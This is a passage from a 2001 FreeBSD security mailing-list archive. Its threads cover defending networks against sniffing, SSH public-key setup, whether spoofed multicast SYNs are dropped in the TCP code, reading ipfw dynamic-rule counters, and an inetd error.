50% of the > people said: "EVEN SWITCHES CANNOT HELP" Hubs send every incoming ethernet frame out every other interfaces; switches maintain an internal lookup table of host MACaddress/ switchport pairings and only forward frames onto the outbound interface approriate to the destination. Sniffing consists of putting a computer's ethernet interface in promiscous mode and looking at the traffic addressed to other people passing by over the wire. Every unixish O/S comes with sniffing capability included, and it is not that difficult to obtain sniffing SW for winXX, macintosh, etc. Right now with hubs, you have a situation where pretty much anybody on your network could start sniffing passwords for the entire network with a small amount of knowledge and effort. If you convert your network to switches, most sniffers are rendered useless: only traffic appropriate to your host is passed on your wire- there is no other traffic there to sniff. Now someone has figured out a way to confuse a switch and have it send frames destined to other ports to your host. Switches are shown not to be immune to sniffers- however it still significantly more difficult to compromise switches than to sniff a hub, the tools to do so are not nearly widespread, and it takes a decent amount of technical knowledge to do so. It isn't (yet) script-kiddie stuff. > Well, let me remind the situtation. I have a very heterogenic network: > FreeBSD, Linux, Win9x, WinME, WInNT, WIn2000. Now they are all > connected with hubs, which allows sniffer to run and obtain all the mail > and web password easily. I need to stop it. > > Buying 500$ SNMP controllable switch is CRAZY. I will not do it. It is > way too expensive. It will cost us about 4000$. > > POSSIBLE N1: > Switches (NON SNMP contrlllable, which do not turn into hub when flooded > with MAC addresses), hardcorder ARP entries on hosts > for router, DNS, MAIL, POP, corporate web (thanks hot it is the same host). > > QUESTIONS: > Is it possible to do to hard code ARP entries in WINxxxxx? > Is there such switch which does not fall back into hub mode when flooded > with MACs? Some of the user-controllable switches allow you to set static addresses on a per port basis and other types of security measures. Don't think you can find these with the price-point you are looking for, but security costs. But the main reason to upgrade to switches would be network performance.... -Matt _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ Matt Chew Spence Network Engineer/Systems Engineer matt@nren.nasa.gov NASA Research & Education Network (650) 604-4550 (voice) Ames Research Center Mail Stop 233-21 (650) 604-3080 (fax) Moffett Field, CA 94035-1000 _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 4:35:22 2001 Delivered-To: freebsd-security@freebsd.org Received: from jamus.xpert.com (jamus.xpert.com [199.203.132.17]) by hub.freebsd.org (Postfix) with ESMTP id 881BE37B69E; Mon, 8 Jan 2001 04:31:41 -0800 (PST) Received: from roman (helo=localhost) by jamus.xpert.com with local-esmtp (Exim 3.12 #5) id 14FbSh-0001LO-00; Mon, 08 Jan 2001 14:31:43 +0200 Date: Mon, 8 Jan 2001 14:31:43 +0200 (IST) From: Roman Shterenzon To: , Cc: Subject: AMaViS for FreeBSD Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, Lately my port for AMaViS (email antivirus which uses an external scanner) was committed to the ports tree. It's an interesting alternative for relays that wish to scan the passing mail. Since this port touches some very delicate aspects of the system such as sendmail.cf I'd like to hear your experience with it. I tested it to some extent, in fact, I'm still using it without a problem, but I didn't have any other than 4.2-RELEASE machine to test it on. (However, it should work on RELENG_3 as well.) Please report all your problems with this port ASAP. Also, I'm planning to add support for other MTAs, such as Exim, Postfix and Qmail. Except for Posfix (postfix-current), I don't have enough information about how to make it work as a relay (i.e. to scan all passing mail, and not just the local delivery). If you know something about this, know some pointers or ready to investigate it yourself and report it to me, I'll be more than glad to add the support to the next port release. Thanks, --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 7: 3:12 2001 Delivered-To: freebsd-security@freebsd.org Received: from calliope.cs.brandeis.edu (calliope.cs.brandeis.edu [129.64.3.189]) by hub.freebsd.org (Postfix) with ESMTP id A07C037B400; Mon, 8 Jan 2001 07:02:07 -0800 (PST) Received: from localhost (meshko@localhost) by calliope.cs.brandeis.edu (8.9.3/8.9.3) with ESMTP id KAA03614; Mon, 8 Jan 2001 10:01:54 -0500 Date: Mon, 8 Jan 2001 10:01:54 -0500 (EST) From: Mikhail Kruk To: Darren Henderson Cc: Artem Koutchine , , Subject: Re: Antisniffer measures (digest of posts) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > So, as I see we two possible solutions and one probable soultion: > > You missed one. If these machines are on your lan/wan then the users are > somehow beholding to you. While not a technical solution, you should not > over look a strong, easily understandable, clearly exposed, widely and > repeatedly disseminated security policy paired with swift and decisive > administrative consequences for breaching that policy. agree. Make it the policy that the first one caught doing something illegal pays for the switches. That should do it. ;) But another 'social' aspect to it no one mentioned so far is that most probably people would hack system at their work only if they are not satisfied with the administrators. Try to be nice to people, do not assume they all want to screw up the system and give them some privliges -- that will make hacking unnecessary for them. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 14:44:25 2001 Delivered-To: freebsd-security@freebsd.org Received: from deimos.atltechgroup.com (deimos.atltechgroup.com [64.1.34.186]) by hub.freebsd.org (Postfix) with ESMTP id 51D5837B402 for ; Mon, 8 Jan 2001 14:44:06 -0800 (PST) Received: from [192.168.1.5] by deimos.atltechgroup.com for freebsd-security@freebsd.org id RAA03308; Mon Jan 8 17:44:00 2001 Message-Id: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> X-Sender: sreber@netdepot.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 08 Jan 2001 17:43:42 -0500 Subject: ssh config assistance Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed To: freebsd-security@freebsd.org From: Scott Reber Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If this should be posted to questions instead, I apologize in advance. I am setting up my first FreeBSD 4.2R box. I am trying, with no success, to connect using ssh via a Windows F-Secure client using public keys. I am able to use ssh2 with a password, but not public key. This same client has been used in the past to access several boxes that were already set up and using ssh1 with public key. While I have read man sshd, man ssh_keygen and checked out openssh.org. I think I followed the instructions, but I am still unable to make this work. I am running 4.2R clean out of the box. I've tried creating ~/.ssh/authorized_keys2 and copying the clients' public key into it but to no avail. Any assistance will be appreciated. _________________________________________________________________ Scott Reber To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 16:33:29 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.interactivate.com (unknown [63.141.73.15]) by hub.freebsd.org (Postfix) with ESMTP id 8768A37B401 for ; Mon, 8 Jan 2001 16:33:09 -0800 (PST) Received: from interactivate.com ([63.141.73.10]) by mail.interactivate.com (8.11.1/8.11.1) with ESMTP id f090sgg92382; Mon, 8 Jan 2001 16:54:42 -0800 (PST) (envelope-from larry@interactivate.com) Message-ID: <3A5A5B85.183EE454@interactivate.com> Date: Mon, 08 Jan 2001 16:29:57 -0800 From: Lawrence Sica Organization: Interactivate, Inc X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Scott Reber Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh config assistance References: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Scott Reber wrote: > > If this should be posted to questions instead, I apologize in advance. > > I am setting up my first FreeBSD 4.2R box. I am trying, with no success, > to connect using ssh via a Windows F-Secure client using public keys. I am > able to use ssh2 with a password, but not public key. This same client has > been used in the past to access several boxes that were already set up and > using ssh1 with public key. > > While I have read man sshd, man ssh_keygen and checked out openssh.org. I > think I followed the instructions, but I am still unable to make this work. > > I am running 4.2R clean out of the box. I've tried creating > ~/.ssh/authorized_keys2 and copying the clients' public key into it > but to no avail. > it should be in the authorized_keys file not authorized_keys2. also make sure the host is known to the box, if the host is unknown it will not work as strict checking is on by default if i recall. look in the ~/.ssh/known_hosts file for the host. --Larry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 17:49:19 2001 Delivered-To: freebsd-security@freebsd.org Received: from red.juniper.net (red.juniper.net [207.17.136.137]) by hub.freebsd.org (Postfix) with ESMTP id 803C437B401 for ; Mon, 8 Jan 2001 17:49:01 -0800 (PST) Received: from juniper.net (umesh-bsd.juniper.net [172.17.12.70]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id RAA10690 for ; Mon, 8 Jan 2001 17:48:56 -0800 (PST) Message-ID: <3A5A6E08.1BAF3C@juniper.net> Date: Mon, 08 Jan 2001 17:48:56 -0800 From: Umesh Krishnaswamy Organization: Juniper Networks X-Mailer: Mozilla 4.75 [en] (X11; U; FreeBSD 2.2.8-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Spoofing multicast addresses Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Folks, I was looking at the code for tcp_drop(). If there is a SYN flood attack, tcp_drop is called to drop the connection on a listen queue overflow. tcp_drop in turn sends an RST packet if it is in the SYN_RCVD state. If the attacker spoofs multicast IP addresses, then there will be a flood of RST packets being sent out by the machine. I am unclear on the RFCs, but shouldn't the tcp_drop code check if the src address is multicast, if so drop without RST. Or maybe, even before that, tcp_input should not accept SYN packets from multicast IP addresses. Thanks. Umesh. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 20:40: 7 2001 Delivered-To: freebsd-security@freebsd.org Received: from silby.com (cb34181-c.mdsn1.wi.home.com [24.183.3.139]) by hub.freebsd.org (Postfix) with ESMTP id 69FD337B401 for ; Mon, 8 Jan 2001 20:39:45 -0800 (PST) Received: (qmail 11621 invoked by uid 1000); 9 Jan 2001 04:39:44 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 9 Jan 2001 04:39:44 -0000 Date: Mon, 8 Jan 2001 22:39:44 -0600 (CST) From: Mike Silbersack To: Umesh Krishnaswamy Cc: Subject: Re: Spoofing multicast addresses In-Reply-To: <3A5A6E08.1BAF3C@juniper.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 8 Jan 2001, Umesh Krishnaswamy wrote: > Hi Folks, > > I was looking at the code for tcp_drop(). If there is a SYN flood attack, > tcp_drop is called to drop the connection on a listen queue overflow. tcp_drop > in turn sends an RST packet if it is in the SYN_RCVD state. If the attacker > spoofs multicast IP addresses, then there will be a flood of RST packets being > sent out by the machine. > > I am unclear on the RFCs, but shouldn't the tcp_drop code check if the src > address is multicast, if so drop without RST. Or maybe, even before that, > tcp_input should not accept SYN packets from multicast IP addresses. > > Thanks. > Umesh. The check is done when the SYN is received, hence such a situation as you describe should not be able to occur. From tcp_input.c: /* * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN * in_broadcast() should never return true on a received * packet with M_BCAST not set. * * Packets with a multicast source address should also * be discarded. */ if (m->m_flags & (M_BCAST|M_MCAST)) goto drop; Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 21:41:10 2001 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 7290137B401 for ; Mon, 8 Jan 2001 21:40:49 -0800 (PST) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id VAA20680; Mon, 8 Jan 2001 21:40:27 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id VAA12983; Mon, 8 Jan 2001 21:40:26 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id VAA15528; Mon, 8 Jan 2001 21:40:26 -0800 (PST) From: Don Lewis Message-Id: <200101090540.VAA15528@salsa.gv.tsc.tdk.com> Date: Mon, 8 Jan 2001 21:40:26 -0800 In-Reply-To: References: X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Mike Silbersack , Umesh Krishnaswamy Subject: Re: Spoofing multicast addresses Cc: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 8, 10:39pm, Mike Silbersack wrote: } Subject: Re: Spoofing multicast addresses } } On Mon, 8 Jan 2001, Umesh Krishnaswamy wrote: } } > Hi Folks, } > } > I was looking at the code for tcp_drop(). If there is a SYN flood attack, } > tcp_drop is called to drop the connection on a listen queue overflow. tcp_drop } > in turn sends an RST packet if it is in the SYN_RCVD state. If the attacker } > spoofs multicast IP addresses, then there will be a flood of RST packets being } > sent out by the machine. } > } > I am unclear on the RFCs, but shouldn't the tcp_drop code check if the src } > address is multicast, if so drop without RST. Or maybe, even before that, } > tcp_input should not accept SYN packets from multicast IP addresses. } > } > Thanks. } > Umesh. } } The check is done when the SYN is received, hence such a situation as you } describe should not be able to occur. } } >From tcp_input.c: } } } /* } * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN } * in_broadcast() should never return true on a received } * packet with M_BCAST not set. } * } * Packets with a multicast source address should also } * be discarded. } */ } if (m->m_flags & (M_BCAST|M_MCAST)) } goto drop; That's the destination address check. You left out the following: #ifdef INET6 if (isipv6) { if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || ip->ip_src.s_addr == htonl(INADDR_BROADCAST)) goto drop; This is where it needs to be checked, otherwise the initial SYN-ACK response would be sent to the multicast address. This implementation isn't totally bulletproof, since it doesn't check for local broadcast source addresses. In a hostile environment you'll probably want to explicity filter them with your favorite packet filter. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 22:38:39 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.ruhr.de (in-ruhr3.ruhr.de [212.23.134.2]) by hub.freebsd.org (Postfix) with SMTP id 4DF8037B401 for ; Mon, 8 Jan 2001 22:38:20 -0800 (PST) Received: (qmail 26809 invoked by alias); 9 Jan 2001 06:36:51 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.11.0/8.11.0) id f096WQH19994 for freebsd-security@FreeBSD.ORG; Tue, 9 Jan 2001 07:32:26 +0100 (CET) (envelope-from ue) Date: Tue, 9 Jan 2001 07:32:25 +0100 From: Udo Erdelhoff To: freebsd-security@FreeBSD.ORG Subject: Re: ssh config assistance Message-ID: <20010109073225.I4211@nathan.ruhr.de> Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> <3A5A5B85.183EE454@interactivate.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3A5A5B85.183EE454@interactivate.com>; from larry@interactivate.com on Mon, Jan 08, 2001 at 04:29:57PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Moin, > it should be in the authorized_keys file not authorized_keys2. no, that's wrong. If you are using version 2 of the SSH protocol, you must store the key in authorized_keys2 . /s/Udo -- Now they show you how detergents take out bloodstains; a pretty violent image there. I think if you've got a T-shirt with a bloodstain all over it, maybe laundry isn't your biggest problem. Maybe you should get rid of the body before you do the wash. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 22:38:39 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.ruhr.de (in-ruhr3.ruhr.de [212.23.134.2]) by hub.freebsd.org (Postfix) with SMTP id 0415637B400 for ; Mon, 8 Jan 2001 22:38:20 -0800 (PST) Received: (qmail 26831 invoked by alias); 9 Jan 2001 06:36:52 -0000 Received: (from ue@localhost) by nathan.ruhr.de (8.11.0/8.11.0) id f096deO20026 for freebsd-security@freebsd.org; Tue, 9 Jan 2001 07:39:40 +0100 (CET) (envelope-from ue) Date: Tue, 9 Jan 2001 07:39:40 +0100 From: Udo Erdelhoff To: freebsd-security@freebsd.org Subject: Re: ssh config assistance Message-ID: <20010109073940.J4211@nathan.ruhr.de> Mail-Followup-To: freebsd-security@freebsd.org References: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <4.3.2.7.2.20010108173133.00aeb380@netdepot.com>; from sreber@atltechgroup.com on Mon, Jan 08, 2001 at 05:43:42PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, > I am running 4.2R clean out of the box. I've tried creating > ~/.ssh/authorized_keys2 and copying the clients' public key into it > but to no avail. you'll probably have to convert the public key into the DSA format used by OpenSSH. Rename the file with the public key to temp and run ssh-keygen -X < temp >> authorized_keys2 I'm used SecureCRT 3.01 to connect to a -current box and had to perform this conversion to get things working. /s/Udo -- "People who claim Windows in superior to Unix are the same people who'd argue that you better use your hand instead of toilet paper to wipe your ass. I can hear them now - 'It's colourful and it's intuitive and easy to use and even a child could do it.'". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 22:46: 8 2001 Delivered-To: freebsd-security@freebsd.org Received: from draenor.org (draenor.org [196.36.119.129]) by hub.freebsd.org (Postfix) with ESMTP id 4392F37B400 for ; Mon, 8 Jan 2001 22:45:51 -0800 (PST) Received: from marcs by draenor.org with local (Exim 3.20 #1) id 14FsXM-0000Py-00 for freebsd-security@freebsd.org; Tue, 09 Jan 2001 08:45:40 +0200 Date: Tue, 9 Jan 2001 08:45:40 +0200 From: Marc Silver To: freebsd-security@freebsd.org Subject: What do these mean? Message-ID: <20010109084540.Y94766@draenor.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.2-STABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi there, I wonder if someone could please explain the following to me: 00600 18 2253 (T 0, # 24) ty 0 tcp, x.x.x.x 3812 <-> 213.165.64.100 25 00600 25 6583 (T 0, # 33) ty 0 tcp, x.x.x.x 3809 <-> 204.216.28.88 25 00600 1349 912199 (T 0, # 61) ty 0 tcp, x.x.x.x 3805 <-> 193.233.48.66 15651 00600 24 4399 (T 0, # 101) ty 0 tcp, x.x.x.x 3819 <-> 196.2.146.4 6667 00500 44 13717 (T 0, # 117) ty 0 tcp, 196.14.168.230 1028 <-> x.x.x.x 22 00600 46 5247 (T 0, # 158) ty 0 tcp, x.x.x.x 3813 <-> 196.7.70.227 25 00600 7 1744 (T 0, # 186) ty 0 tcp, x.x.x.x 3804 <-> 193.233.48.66 47013 00600 1 40 (T 0, # 240) ty 0 tcp, x.x.x.x 3811 <-> 196.7.70.227 113 00500 13708 1276593 (T 300, # 244) ty 0 tcp, 196.14.168.229 2950 <-> x.x.x.x 22 ^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ I simply dont understand what these mean. I'm guessing that they're counters, but I'm not 100% certain. Could someone please explain to me what they are. I'd really appreciate it, as it seems that some of these stateful rules simply never close even though there is no traffic going through them (or at least, there really shouldn't be 45 minutes after a mail has been sent etc). Please email me back as I'm not subscribed to this list. Thanks, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 23:43:37 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost01.reflexnet.net (mailhost01.reflexnet.net [64.6.192.82]) by hub.freebsd.org (Postfix) with ESMTP id 4EC0037B401 for ; Mon, 8 Jan 2001 23:43:20 -0800 (PST) Received: from rfx-64-6-211-149.users.reflexcom.com ([64.6.211.149]) by mailhost01.reflexnet.net with Microsoft SMTPSVC(5.5.1877.197.19); Mon, 8 Jan 2001 23:41:10 -0800 Received: (from cjc@localhost) by rfx-64-6-211-149.users.reflexcom.com (8.11.0/8.11.0) id f097gpe83726; Mon, 8 Jan 2001 23:42:51 -0800 (PST) (envelope-from cjc) Date: Mon, 8 Jan 2001 23:42:46 -0800 From: "Crist J. Clark" To: Marc Silver Cc: freebsd-security@FreeBSD.ORG Subject: Re: What do these mean? Message-ID: <20010108234245.J95729@rfx-64-6-211-149.users.reflexco> Reply-To: cjclark@alum.mit.edu References: <20010109084540.Y94766@draenor.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20010109084540.Y94766@draenor.org>; from marcs@draenor.org on Tue, Jan 09, 2001 at 08:45:40AM +0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 09, 2001 at 08:45:40AM +0200, Marc Silver wrote: > Hi there, > > I wonder if someone could please explain the following to me: > > 00600 18 2253 (T 0, # 24) ty 0 tcp, x.x.x.x 3812 <-> 213.165.64.100 25 > 00600 25 6583 (T 0, # 33) ty 0 tcp, x.x.x.x 3809 <-> 204.216.28.88 25 > 00600 1349 912199 (T 0, # 61) ty 0 tcp, x.x.x.x 3805 <-> 193.233.48.66 15651 > 00600 24 4399 (T 0, # 101) ty 0 tcp, x.x.x.x 3819 <-> 196.2.146.4 6667 > 00500 44 13717 (T 0, # 117) ty 0 tcp, 196.14.168.230 1028 <-> x.x.x.x 22 > 00600 46 5247 (T 0, # 158) ty 0 tcp, x.x.x.x 3813 <-> 196.7.70.227 25 > 00600 7 1744 (T 0, # 186) ty 0 tcp, x.x.x.x 3804 <-> 193.233.48.66 47013 > 00600 1 40 (T 0, # 240) ty 0 tcp, x.x.x.x 3811 <-> 196.7.70.227 113 > 00500 13708 1276593 (T 300, # 244) ty 0 tcp, 196.14.168.229 2950 <-> x.x.x.x 22 > ^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ > I simply dont understand what these mean. I'm guessing that > they're counters, but I'm not 100% certain. Could someone please > explain to me what they are. I'd really appreciate it, as it > seems that some of these stateful rules simply never close even > though there is no traffic going through them (or at least, there > really shouldn't be 45 minutes after a mail has been sent etc). > > Please email me back as I'm not subscribed to this list. > 00500 13708 1276593 (T 300, # 244) ty 0 tcp, 196.14.168.229 2950 <-> x.x.x.x 22 ^^^^^ ^^^^^^^ ^^^ ^^^ packets bytes seconds number The seconds are how long the rule has until it times out. It looks like you have an active SSH going on. All of the other rules are expired. -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 23:47:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from draenor.org (draenor.org [196.36.119.129]) by hub.freebsd.org (Postfix) with ESMTP id 071B237B400 for ; Mon, 8 Jan 2001 23:47:36 -0800 (PST) Received: from marcs by draenor.org with local (Exim 3.20 #1) id 14FtUY-0000UG-00; Tue, 09 Jan 2001 09:46:50 +0200 Date: Tue, 9 Jan 2001 09:46:50 +0200 From: Marc Silver To: cjclark@alum.mit.edu Cc: freebsd-security@FreeBSD.ORG Subject: Re: What do these mean? Message-ID: <20010109094650.C94766@draenor.org> References: <20010109084540.Y94766@draenor.org> <20010108234245.J95729@rfx-64-6-211-149.users.reflexco> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010108234245.J95729@rfx-64-6-211-149.users.reflexco>; from cjclark@reflexnet.net on Mon, Jan 08, 2001 at 11:42:46PM -0800 X-Operating-System: FreeBSD 4.2-STABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi there, Sorry then but quick question... why doesn't it simply remove those that have expired from the list?? Cheers, Marc On Mon, Jan 08, 2001 at 11:42:46PM -0800, Crist J. Clark wrote: > On Tue, Jan 09, 2001 at 08:45:40AM +0200, Marc Silver wrote: > > Hi there, > > > > I wonder if someone could please explain the following to me: > > > > 00600 18 2253 (T 0, # 24) ty 0 tcp, x.x.x.x 3812 <-> 213.165.64.100 25 > > 00600 25 6583 (T 0, # 33) ty 0 tcp, x.x.x.x 3809 <-> 204.216.28.88 25 > > 00600 1349 912199 (T 0, # 61) ty 0 tcp, x.x.x.x 3805 <-> 193.233.48.66 15651 > > 00600 24 4399 (T 0, # 101) ty 0 tcp, x.x.x.x 3819 <-> 196.2.146.4 6667 > > 00500 44 13717 (T 0, # 117) ty 0 tcp, 196.14.168.230 1028 <-> x.x.x.x 22 > > 00600 46 5247 (T 0, # 158) ty 0 tcp, x.x.x.x 3813 <-> 196.7.70.227 25 > > 00600 7 1744 (T 0, # 186) ty 0 tcp, x.x.x.x 3804 <-> 193.233.48.66 47013 > > 00600 1 40 (T 0, # 240) ty 0 tcp, x.x.x.x 3811 <-> 196.7.70.227 113 > > 00500 13708 1276593 (T 300, # 244) ty 0 tcp, 196.14.168.229 2950 <-> x.x.x.x 22 > > ^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ > > I simply dont understand what these mean. I'm guessing that > > they're counters, but I'm not 100% certain. Could someone please > > explain to me what they are. I'd really appreciate it, as it > > seems that some of these stateful rules simply never close even > > though there is no traffic going through them (or at least, there > > really shouldn't be 45 minutes after a mail has been sent etc). > > > > Please email me back as I'm not subscribed to this list. > > > 00500 13708 1276593 (T 300, # 244) ty 0 tcp, 196.14.168.229 2950 <-> x.x.x.x 22 > ^^^^^ ^^^^^^^ ^^^ ^^^ > packets bytes seconds number > > The seconds are how long the rule has until it times out. It looks > like you have an active SSH going on. All of the other rules are > expired. > -- > Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 23:53: 6 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.redshells.net (unknown [208.189.113.190]) by hub.freebsd.org (Postfix) with SMTP id 8630C37B401 for ; Mon, 8 Jan 2001 23:52:49 -0800 (PST) Received: (qmail 37110 invoked from network); 9 Jan 2001 07:52:52 -0000 Received: from unknown (HELO redshells.net) (208.189.113.201) by mail.redshells.net with SMTP; 9 Jan 2001 07:52:52 -0000 Message-ID: <3A5AC33D.5272EAA6@redshells.net> Date: Tue, 09 Jan 2001 01:52:30 -0600 From: Chris X-Mailer: Mozilla 4.74 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@FreeBSD.ORG Subject: quick question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Has anyone seen the following error with inetd? If so, how would I fix this?: inetd[75113]: auth/tcp server failing (looping), service terminated Thanks in advance, Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 0:31:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost01.reflexnet.net (mailhost01.reflexnet.net [64.6.192.82]) by hub.freebsd.org (Postfix) with ESMTP id 6692537B400 for ; Tue, 9 Jan 2001 00:31:35 -0800 (PST) Received: from rfx-64-6-211-149.users.reflexcom.com ([64.6.211.149]) by mailhost01.reflexnet.net with Microsoft SMTPSVC(5.5.1877.197.19); Tue, 9 Jan 2001 00:29:26 -0800 Received: (from cjc@localhost) by rfx-64-6-211-149.users.reflexcom.com (8.11.0/8.11.0) id f098V7W84159; Tue, 9 Jan 2001 00:31:07 -0800 (PST) (envelope-from cjc) Date: Tue, 9 Jan 2001 00:31:07 -0800 From: "Crist J. Clark" To: Marc Silver Cc: freebsd-security@FreeBSD.ORG Subject: Re: What do these mean? Message-ID: <20010109003107.R95729@rfx-64-6-211-149.users.reflexco> Reply-To: cjclark@alum.mit.edu References: <20010109084540.Y94766@draenor.org> <20010108234245.J95729@rfx-64-6-211-149.users.reflexco> <20010109094650.C94766@draenor.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20010109094650.C94766@draenor.org>; from marcs@draenor.org on Tue, Jan 09, 2001 at 09:46:50AM +0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 09, 2001 at 09:46:50AM +0200, Marc Silver wrote: > Hi there, > > Sorry then but quick question... why doesn't it simply remove those that > have expired from the list?? Pretty much the best reason I can give is because that is just how it works. Perhaps it is best to look at it this way, 